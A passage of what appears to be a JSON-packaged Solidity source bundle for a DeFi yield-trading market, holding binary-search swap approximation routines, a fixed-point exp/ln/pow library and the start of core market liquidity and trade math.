pair with YT to redeem SY\n - Use the SY to repay the flashswap debt and the remaining is transferred to user\n - Stop when the netSyOut is greater approx the minSyOut\n - guess & approx is for netSyOut\n */\n function approxSwapYtForExactSy(\n MarketState memory market,\n PYIndex index,\n uint256 minSyOut,\n uint256 blockTime,\n ApproxParams memory approx\n ) internal pure returns (uint256 /*netYtIn*/, uint256 /*netSyOut*/, uint256 /*netSyFee*/) {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n // no limit on min\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtOut(comp, market.totalPt));\n validateApprox(approx);\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (uint256 netSyOwed, uint256 netSyFee, ) = calcSyIn(market, comp, index, guess);\n\n uint256 netAssetToRepay = index.syToAssetUp(netSyOwed);\n uint256 netSyOut = index.assetToSy(guess - netAssetToRepay);\n\n if (netSyOut >= minSyOut) {\n if (Math.isAGreaterApproxB(netSyOut, minSyOut, approx.eps))\n return (guess, netSyOut, netSyFee);\n approx.guessMax = guess;\n } else {\n approx.guessMin = guess + 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n struct Args6 {\n MarketState market;\n PYIndex index;\n uint256 totalSyIn;\n uint256 blockTime;\n ApproxParams approx;\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swapExactOut\n - Swap that amount of PT out\n - Pair the remaining PT with the SY to add liquidity\n - Stop when the ratio of PT / totalPt & SY / totalSy is approx\n - guess & approx is for netPtFromSwap\n */\n function approxSwapSyToAddLiquidity(\n MarketState memory _market,\n PYIndex _index,\n uint256 _totalSyIn,\n uint256 _blockTime,\n ApproxParams memory _approx\n )\n internal\n pure\n returns (uint256 /*netPtFromSwap*/, uint256 /*netSySwap*/, uint256 /*netSyFee*/)\n {\n Args6 memory a = Args6(_market, _index, _totalSyIn, _blockTime, _approx);\n\n MarketPreCompute memory comp = a.market.getMarketPreCompute(a.index, a.blockTime);\n if (a.approx.guessOffchain == 0) {\n // no limit on min\n a.approx.guessMax = Math.min(a.approx.guessMax, calcMaxPtOut(comp, a.market.totalPt));\n validateApprox(a.approx);\n require(a.market.totalLp != 0, \"no existing lp\");\n }\n\n for (uint256 iter = 0; iter < a.approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(a.approx, iter);\n\n (uint256 netSyIn, uint256 netSyFee, uint256 netSyToReserve) = calcSyIn(\n a.market,\n comp,\n a.index,\n guess\n );\n\n if (netSyIn > a.totalSyIn) {\n a.approx.guessMax = guess - 1;\n continue;\n }\n\n uint256 syNumerator;\n uint256 ptNumerator;\n\n {\n uint256 newTotalPt = uint256(a.market.totalPt) - guess;\n uint256 netTotalSy = uint256(a.market.totalSy) + netSyIn - netSyToReserve;\n\n // it is desired that\n // netPtFromSwap / newTotalPt = netSyRemaining / netTotalSy\n // which is equivalent to\n // netPtFromSwap * netTotalSy = netSyRemaining * newTotalPt\n\n ptNumerator = guess * netTotalSy;\n syNumerator = (a.totalSyIn - netSyIn) * newTotalPt;\n }\n\n if (Math.isAApproxB(ptNumerator, syNumerator, a.approx.eps))\n return (guess, netSyIn, netSyFee);\n\n if (ptNumerator <= syNumerator) {\n // needs more PT\n a.approx.guessMin = guess + 1;\n } else {\n // needs less PT\n a.approx.guessMax = guess - 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n /**\n * @dev algorithm:\n - Bin search the amount of PT to swapExactOut\n - Flashswap that amount of PT out\n - Pair all the PT with the YT to redeem SY\n - Use the SY to repay the flashswap debt\n - Stop when the amount of YT required to pair with PT is approx exactYtIn\n - guess & approx is for netPtFromSwap\n */\n function approxSwapExactYtForPt(\n MarketState memory market,\n PYIndex index,\n uint256 exactYtIn,\n uint256 blockTime,\n ApproxParams memory approx\n )\n internal\n pure\n returns (uint256 /*netPtOut*/, uint256 /*totalPtSwapped*/, uint256 /*netSyFee*/)\n {\n MarketPreCompute memory comp = market.getMarketPreCompute(index, blockTime);\n if (approx.guessOffchain == 0) {\n approx.guessMin = Math.max(approx.guessMin, exactYtIn);\n approx.guessMax = Math.min(approx.guessMax, calcMaxPtOut(comp, market.totalPt));\n validateApprox(approx);\n }\n\n for (uint256 iter = 0; iter < approx.maxIteration; ++iter) {\n uint256 guess = nextGuess(approx, iter);\n\n (uint256 netSyOwed, uint256 netSyFee, ) = calcSyIn(market, comp, index, guess);\n\n uint256 netYtToPull = index.syToAssetUp(netSyOwed);\n\n if (netYtToPull <= exactYtIn) {\n if (Math.isASmallerApproxB(netYtToPull, exactYtIn, approx.eps))\n return (guess - netYtToPull, guess, netSyFee);\n approx.guessMin = guess;\n } else {\n approx.guessMax = guess - 1;\n }\n }\n revert Errors.ApproxFail();\n }\n\n ////////////////////////////////////////////////////////////////////////////////\n\n function calcSyIn(\n MarketState memory market,\n MarketPreCompute memory comp,\n PYIndex index,\n uint256 netPtOut\n ) internal pure returns (uint256 netSyIn, uint256 netSyFee, uint256 netSyToReserve) {\n (int256 _netSyIn, int256 _netSyFee, int256 _netSyToReserve) = market.calcTrade(\n comp,\n index,\n int256(netPtOut)\n );\n\n // all safe since totalPt and totalSy is int128\n netSyIn = uint256(-_netSyIn);\n netSyFee = uint256(_netSyFee);\n netSyToReserve = uint256(_netSyToReserve);\n }\n\n function calcMaxPtOut(\n MarketPreCompute memory comp,\n int256 totalPt\n ) internal pure returns (uint256) {\n int256 logitP = (comp.feeRate - comp.rateAnchor).mulDown(comp.rateScalar).exp();\n int256 proportion = logitP.divDown(logitP + Math.IONE);\n int256 numerator = proportion.mulDown(totalPt + comp.totalAsset);\n int256 maxPtOut = totalPt - numerator;\n // only get 99.9% of the theoretical max to accommodate some precision issues\n return (uint256(maxPtOut) * 999) / 1000;\n }\n\n function nextGuess(ApproxParams memory approx, uint256 iter) internal pure returns (uint256) {\n if (iter == 0 && approx.guessOffchain != 0) return approx.guessOffchain;\n if (approx.guessMin <= approx.guessMax) return (approx.guessMin + approx.guessMax) / 2;\n revert Errors.ApproxFail();\n }\n\n function validateApprox(ApproxParams memory approx) internal pure {\n if (approx.guessMin > approx.guessMax || approx.eps > Math.ONE)\n revert Errors.ApproxParamsInvalid(approx.guessMin, approx.guessMax, approx.eps);\n }\n}\n"
},
"contracts/libraries/math/LogExpMath.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n// documentation files (the “Software”), to deal in the Software without restriction, including without limitation the\n// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to\n// permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\n// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the\n// Software.\n\n// THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n// WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\npragma solidity 0.8.19;\n\n/* solhint-disable */\n\n/**\n * @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument).\n *\n * Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural\n * exponentiation and logarithm (where the base is Euler's number).\n *\n * @author Fernando Martinelli - @fernandomartinelli\n * @author Sergio Yuhjtman - @sergioyuhjtman\n * @author Daniel Fernandez - @dmf7z\n */\nlibrary LogExpMath {\n // All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying\n // two numbers, and multiply by ONE when dividing them.\n\n // All arguments and return values are 18 decimal fixed point numbers.\n int256 constant ONE_18 = 1e18;\n\n // Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the\n // case of ln36, 36 decimals.\n int256 constant ONE_20 = 1e20;\n int256 constant ONE_36 = 1e36;\n\n // The domain of natural exponentiation is bound by the word size and number of decimals used.\n //\n // Because internally the result will be stored using 20 decimals, the largest possible result is\n // (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221.\n // The smallest possible result is 10^(-18), which makes largest negative argument\n // ln(10^(-18)) = -41.446531673892822312.\n // We use 130.0 and -41.0 to have some safety margin.\n int256 constant MAX_NATURAL_EXPONENT = 130e18;\n int256 constant MIN_NATURAL_EXPONENT = -41e18;\n\n // Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point\n // 256 bit integer.\n int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17;\n int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17;\n\n uint256 constant MILD_EXPONENT_BOUND = 2 ** 254 / uint256(ONE_20);\n\n // 18 decimal constants\n int256 constant x0 = 128000000000000000000; // 2ˆ7\n int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals)\n int256 constant x1 = 64000000000000000000; // 2ˆ6\n int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals)\n\n // 20 decimal constants\n int256 constant x2 = 3200000000000000000000; // 2ˆ5\n int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2)\n int256 constant x3 = 1600000000000000000000; // 2ˆ4\n int256 constant a3 = 888611052050787263676000000; // eˆ(x3)\n int256 constant x4 = 800000000000000000000; // 2ˆ3\n int256 constant a4 = 298095798704172827474000; // eˆ(x4)\n int256 constant x5 = 400000000000000000000; // 2ˆ2\n int256 constant a5 = 5459815003314423907810; // eˆ(x5)\n int256 constant x6 = 200000000000000000000; // 2ˆ1\n int256 constant a6 = 738905609893065022723; // eˆ(x6)\n int256 constant x7 = 100000000000000000000; // 2ˆ0\n int256 constant a7 = 271828182845904523536; // eˆ(x7)\n int256 constant x8 = 50000000000000000000; // 2ˆ-1\n int256 constant a8 = 164872127070012814685; // eˆ(x8)\n int256 constant x9 = 25000000000000000000; // 2ˆ-2\n int256 constant a9 = 128402541668774148407; // eˆ(x9)\n int256 constant x10 = 12500000000000000000; // 2ˆ-3\n int256 constant a10 = 113314845306682631683; // eˆ(x10)\n int256 constant x11 = 6250000000000000000; // 2ˆ-4\n int256 constant a11 = 106449445891785942956; // eˆ(x11)\n\n /**\n * @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent.\n *\n * Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`.\n */\n function exp(int256 x) internal pure returns (int256) {\n unchecked {\n require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, \"Invalid exponent\");\n\n if (x < 0) {\n // We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it\n // fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT).\n // Fixed point division requires multiplying by ONE_18.\n return ((ONE_18 * ONE_18) / exp(-x));\n }\n\n // First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n,\n // where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7\n // because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the\n // decomposition.\n // At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this\n // decomposition, which will be lower than the smallest x_n.\n // exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1.\n // We mutate x by subtracting x_n, making it the remainder of the decomposition.\n\n // The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause\n // intermediate overflows. Instead we store them as plain integers, with 0 decimals.\n // Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the\n // decomposition.\n\n // For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct\n // it and compute the accumulated product.\n\n int256 firstAN;\n if (x >= x0) {\n x -= x0;\n firstAN = a0;\n } else if (x >= x1) {\n x -= x1;\n firstAN = a1;\n } else {\n firstAN = 1; // One with no decimal places\n }\n\n // We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the\n // smaller terms.\n x *= 100;\n\n // `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point\n // one. Recall that fixed point multiplication requires dividing by ONE_20.\n int256 product = ONE_20;\n\n if (x >= x2) {\n x -= x2;\n product = (product * a2) / ONE_20;\n }\n if (x >= x3) {\n x -= x3;\n product = (product * a3) / ONE_20;\n }\n if (x >= x4) {\n x -= x4;\n product = (product * a4) / ONE_20;\n }\n if (x >= x5) {\n x -= x5;\n product = (product * a5) / ONE_20;\n }\n if (x >= x6) {\n x -= x6;\n product = (product * a6) / ONE_20;\n }\n if (x >= x7) {\n x -= x7;\n product = (product * a7) / ONE_20;\n }\n if (x >= x8) {\n x -= x8;\n product = (product * a8) / ONE_20;\n }\n if (x >= x9) {\n x -= x9;\n product = (product * a9) / ONE_20;\n }\n\n // x10 and x11 are unnecessary here since we have high enough precision already.\n\n // Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series\n // expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!).\n\n int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places.\n int256 term; // Each term in the sum, where the nth term is (x^n / n!).\n\n // The first term is simply x.\n term = x;\n seriesSum += term;\n\n // Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number,\n // multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not.\n\n term = ((term * x) / ONE_20) / 2;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 3;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 4;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 5;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 6;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 7;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 8;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 9;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 10;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 11;\n seriesSum += term;\n\n term = ((term * x) / ONE_20) / 12;\n seriesSum += term;\n\n // 12 Taylor terms are sufficient for 18 decimal precision.\n\n // We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor\n // approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply\n // all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication),\n // and then drop two digits to return an 18 decimal value.\n\n return (((product * seriesSum) / ONE_20) * firstAN) / 100;\n }\n }\n\n /**\n * @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument.\n */\n function ln(int256 a) internal pure returns (int256) {\n unchecked {\n // The real natural logarithm is not defined for negative numbers or zero.\n require(a > 0, \"out of bounds\");\n if (LN_36_LOWER_BOUND < a && a < LN_36_UPPER_BOUND) {\n return _ln_36(a) / ONE_18;\n } else {\n return _ln(a);\n }\n }\n }\n\n /**\n * @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent.\n *\n * Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`.\n */\n function pow(uint256 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) {\n // We solve the 0^0 indetermination by making it equal one.\n return uint256(ONE_18);\n }\n\n if (x == 0) {\n return 0;\n }\n\n // Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to\n // arrive at that r`esult. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means\n // x^y = exp(y * ln(x)).\n\n // The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range.\n require(x < 2 ** 255, \"x out of bounds\");\n int256 x_int256 = int256(x);\n\n // We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In\n // both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end.\n\n // This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range.\n require(y < MILD_EXPONENT_BOUND, \"y out of bounds\");\n int256 y_int256 = int256(y);\n\n int256 logx_times_y;\n if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) {\n int256 ln_36_x = _ln_36(x_int256);\n\n // ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just\n // bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal\n // multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the\n // (downscaled) last 18 decimals.\n logx_times_y = ((ln_36_x / ONE_18) *\n y_int256 +\n ((ln_36_x % ONE_18) * y_int256) /\n ONE_18);\n } else {\n logx_times_y = _ln(x_int256) * y_int256;\n }\n logx_times_y /= ONE_18;\n\n // Finally, we compute exp(y * ln(x)) to arrive at x^y\n require(\n MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT,\n \"product out of bounds\"\n );\n\n return uint256(exp(logx_times_y));\n }\n }\n\n /**\n * @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument.\n */\n function _ln(int256 a) private pure returns (int256) {\n unchecked {\n if (a < ONE_18) {\n // Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less\n // than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call.\n // Fixed point division requires multiplying by ONE_18.\n return (-_ln((ONE_18 * ONE_18) / a));\n }\n\n // First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which\n // we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is,\n // ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot\n // be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a.\n // At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this\n // decomposition, which will be lower than the smallest a_n.\n // ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1.\n // We mutate a by subtracting a_n, making it the remainder of the decomposition.\n\n // For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point\n // numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by\n // ONE_18 to convert them to fixed point.\n // For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide\n // by it and compute the accumulated sum.\n\n int256 sum = 0;\n if (a >= a0 * ONE_18) {\n a /= a0; // Integer, not fixed point division\n sum += x0;\n }\n\n if (a >= a1 * ONE_18) {\n a /= a1; // Integer, not fixed point division\n sum += x1;\n }\n\n // All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format.\n sum *= 100;\n a *= 100;\n\n // Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them.\n\n if (a >= a2) {\n a = (a * ONE_20) / a2;\n sum += x2;\n }\n\n if (a >= a3) {\n a = (a * ONE_20) / a3;\n sum += x3;\n }\n\n if (a >= a4) {\n a = (a * ONE_20) / a4;\n sum += x4;\n }\n\n if (a >= a5) {\n a = (a * ONE_20) / a5;\n sum += x5;\n }\n\n if (a >= a6) {\n a = (a * ONE_20) / a6;\n sum += x6;\n }\n\n if (a >= a7) {\n a = (a * ONE_20) / a7;\n sum += x7;\n }\n\n if (a >= a8) {\n a = (a * ONE_20) / a8;\n sum += x8;\n }\n\n if (a >= a9) {\n a = (a * ONE_20) / a9;\n sum += x9;\n }\n\n if (a >= a10) {\n a = (a * ONE_20) / a10;\n sum += x10;\n }\n\n if (a >= a11) {\n a = (a * ONE_20) / a11;\n sum += x11;\n }\n\n // a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series\n // that converges rapidly for values of `a` close to one - the same one used in ln_36.\n // Let z = (a - 1) / (a + 1).\n // ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))\n\n // Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires\n // division by ONE_20.\n int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20);\n int256 z_squared = (z * z) / ONE_20;\n\n // num is the numerator of the series: the z^(2 * n + 1) term\n int256 num = z;\n\n // seriesSum holds the accumulated sum of each term in the series, starting with the initial z\n int256 seriesSum = num;\n\n // In each step, the numerator is multiplied by z^2\n num = (num * z_squared) / ONE_20;\n seriesSum += num / 3;\n\n num = (num * z_squared) / ONE_20;\n seriesSum += num / 5;\n\n num = (num * z_squared) / ONE_20;\n seriesSum += num / 7;\n\n num = (num * z_squared) / ONE_20;\n seriesSum += num / 9;\n\n num = (num * z_squared) / ONE_20;\n seriesSum += num / 11;\n\n // 6 Taylor terms are sufficient for 36 decimal precision.\n\n // Finally, we multiply by 2 (non fixed point) to compute ln(remainder)\n seriesSum *= 2;\n\n // We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both\n // with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal\n // value.\n\n return (sum + seriesSum) / 100;\n }\n }\n\n /**\n * @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument,\n * for x close to one.\n *\n * Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND.\n */\n function _ln_36(int256 x) private pure returns (int256) {\n unchecked {\n // Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits\n // worthwhile.\n\n // First, we transform x to a 36 digit fixed point value.\n x *= ONE_18;\n\n // We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1).\n // ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))\n\n // Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires\n // division by ONE_36.\n int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36);\n int256 z_squared = (z * z) / ONE_36;\n\n // num is the numerator of the series: the z^(2 * n + 1) term\n int256 num = z;\n\n // seriesSum holds the accumulated sum of each term in the series, starting with the initial z\n int256 seriesSum = num;\n\n // In each step, the numerator is multiplied by z^2\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 3;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 5;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 7;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 9;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 11;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 13;\n\n num = (num * z_squared) / ONE_36;\n seriesSum += num / 15;\n\n // 8 Taylor terms are sufficient for 36 decimal precision.\n\n // All that remains is multiplying by 2 (non fixed point).\n return seriesSum * 2;\n }\n }\n}\n"
},
"contracts/libraries/math/MarketMathCore.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"./Math.sol\";\nimport \"./LogExpMath.sol\";\n\nimport \"../PYIndex.sol\";\nimport \"../MiniHelpers.sol\";\nimport \"../Errors.sol\";\n\nstruct MarketState {\n int256 totalPt;\n int256 totalSy;\n int256 totalLp;\n address treasury;\n /// immutable variables ///\n int256 scalarRoot;\n uint256 expiry;\n /// fee data ///\n uint256 lnFeeRateRoot;\n uint256 reserveFeePercent; // base 100\n /// last trade data ///\n uint256 lastLnImpliedRate;\n}\n\n// params that are expensive to compute, therefore we pre-compute them\nstruct MarketPreCompute {\n int256 rateScalar;\n int256 totalAsset;\n int256 rateAnchor;\n int256 feeRate;\n}\n\n// solhint-disable ordering\nlibrary MarketMathCore {\n using Math for uint256;\n using Math for int256;\n using LogExpMath for int256;\n using PYIndexLib for PYIndex;\n\n int256 internal constant MINIMUM_LIQUIDITY = 10 ** 3;\n int256 internal constant PERCENTAGE_DECIMALS = 100;\n uint256 internal constant DAY = 86400;\n uint256 internal constant IMPLIED_RATE_TIME = 365 * DAY;\n\n int256 internal constant MAX_MARKET_PROPORTION = (1e18 * 96) / 100;\n\n using Math for uint256;\n using Math for int256;\n\n /*///////////////////////////////////////////////////////////////\n UINT FUNCTIONS TO PROXY TO CORE FUNCTIONS\n //////////////////////////////////////////////////////////////*/\n\n function addLiquidity(\n MarketState memory market,\n uint256 syDesired,\n uint256 ptDesired,\n uint256 blockTime\n )\n internal\n pure\n returns (uint256 lpToReserve, uint256 lpToAccount, uint256 syUsed, uint256 ptUsed)\n {\n (\n int256 _lpToReserve,\n int256 _lpToAccount,\n int256 _syUsed,\n int256 _ptUsed\n ) = addLiquidityCore(market, syDesired.Int(), ptDesired.Int(), blockTime);\n\n lpToReserve = _lpToReserve.Uint();\n lpToAccount = _lpToAccount.Uint();\n syUsed = _syUsed.Uint();\n ptUsed = _ptUsed.Uint();\n }\n\n function removeLiquidity(\n MarketState memory market,\n uint256 lpToRemove\n ) internal pure returns (uint256 netSyToAccount, uint256 netPtToAccount) {\n (int256 _syToAccount, int256 _ptToAccount) = removeLiquidityCore(market, lpToRemove.Int());\n\n netSyToAccount = _syToAccount.Uint();\n netPtToAccount = _ptToAccount.Uint();\n }\n\n function swapExactPtForSy(\n MarketState memory market,\n PYIndex index,\n uint256 exactPtToMarket,\n uint256 blockTime\n ) internal pure returns (uint256 netSyToAccount, uint256 netSyFee, uint256 netSyToReserve) {\n (int256 _netSyToAccount, int256 _netSyFee, int256 _netSyToReserve) = executeTradeCore(\n market,\n index,\n exactPtToMarket.neg(),\n blockTime\n );\n\n netSyToAccount = _netSyToAccount.Uint();\n netSyFee = _netSyFee.Uint();\n netSyToReserve = _netSyToReserve.Uint();\n }\n\n function swapSyForExactPt(\n MarketState memory market,\n PYIndex index,\n uint256 exactPtToAccount,\n uint256 blockTime\n ) internal pure returns (uint256 netSyToMarket, uint256 netSyFee, uint256 netSyToReserve) {\n (int256 _netSyToAccount, int256 _netSyFee, int256 _netSyToReserve) = executeTradeCore(\n market,\n index,\n exactPtToAccount.Int(),\n blockTime\n );\n\n netSyToMarket = _netSyToAccount.neg().Uint();\n netSyFee = _netSyFee.Uint();\n netSyToReserve = _netSyToReserve.Uint();\n }\n\n /*///////////////////////////////////////////////////////////////\n CORE FUNCTIONS\n //////////////////////////////////////////////////////////////*/\n\n function addLiquidityCore(\n MarketState memory market,\n int256 syDesired,\n int256 ptDesired,\n uint256 blockTime\n )\n internal\n pure\n returns (int256 lpToReserve, int256 lpToAccount, int256 syUsed, int256 ptUsed)\n {\n /// ------------------------------------------------------------\n /// CHECKS\n /// ------------------------------------------------------------\n if (syDesired == 0 || ptDesired == 0) revert Errors.MarketZeroAmountsInput();\n if (MiniHelpers.isExpired(market.expiry, blockTime)) revert Errors.MarketExpired();\n\n /// ------------------------------------------------------------\n /// MATH\n /// ------------------------------------------------------------\n if (market.totalLp == 0) {\n lpToAccount = Math.sqrt((syDesired * ptDesired).Uint()).Int() - MINIMUM_LIQUIDITY;\n lpToReserve = MINIMUM_LIQUIDITY;\n syUsed = syDesired;\n ptUsed = ptDesired;\n } else {\n int256 netLpByPt = (ptDesired * market.totalLp) / market.totalPt;\n int256 netLpBySy = (syDesired * market.totalLp) / market.totalSy;\n if (netLpByPt < netLpBySy) {\n lpToAccount = netLpByPt;\n ptUsed = ptDesired;\n syUsed = (market.totalSy * lpToAccount) / market.totalLp;\n } else {\n lpToAccount = netLpBySy;\n syUsed = syDesired;\n ptUsed = (market.totalPt * lpToAccount) / market.totalLp;\n }\n }\n\n if (lpToAccount <= 0) revert Errors.MarketZeroAmountsOutput();\n\n /// ------------------------------------------------------------\n /// WRITE\n /// ------------------------------------------------------------\n market.totalSy += syUsed;\n market.totalPt += ptUsed;\n market.totalLp += lpToAccount + lpToReserve;\n }\n\n function removeLiquidityCore(\n MarketState memory market,\n int256 lpToRemove\n ) internal pure returns (int256 netSyToAccount, int256 netPtToAccount) {\n /// ------------------------------------------------------------\n /// CHECKS\n /// ------------------------------------------------------------\n if (lpToRemove == 0) revert Errors.MarketZeroAmountsInput();\n\n /// ------------------------------------------------------------\n /// MATH\n /// ------------------------------------------------------------\n netSyToAccount = (lpToRemove * market.totalSy) / market.totalLp;\n netPtToAccount = (lpToRemove * market.totalPt) / market.totalLp;\n\n if (netSyToAccount == 0 && netPtToAccount == 0) revert Errors.MarketZeroAmountsOutput();\n\n /// ------------------------------------------------------------\n /// WRITE\n /// ------------------------------------------------------------\n market.totalLp = market.totalLp.subNoNeg(lpToRemove);\n market.totalPt = market.totalPt.subNoNeg(netPtToAccount);\n market.totalSy = market.totalSy.subNoNeg(netSyToAccount);\n }\n\n function executeTradeCore(\n MarketState memory market,\n PYIndex index,\n int256 netPtToAccount,\n uint256 blockTime\n ) internal pure returns (int256 netSyToAccount, int256 netSyFee, int256 netSyToReserve) {\n /// ------------------------------------------------------------\n /// CHECKS\n /// ------------------------------------------------------------\n if (MiniHelpers.isExpired(market.expiry, blockTime)) revert Errors.MarketExpired();\n if (market.totalPt <= netPtToAccount)\n revert Errors.MarketInsufficientPtForTrade(market.totalPt, netPtToAccount);\n\n /// ------------------------------------------------------------\n /// MATH\n /// ------------------------------------------------------------\n MarketPreCompute memory comp = getMarketPreCompute(market, index, blockTime);\n\n (netSyToAccount, netSyFee, 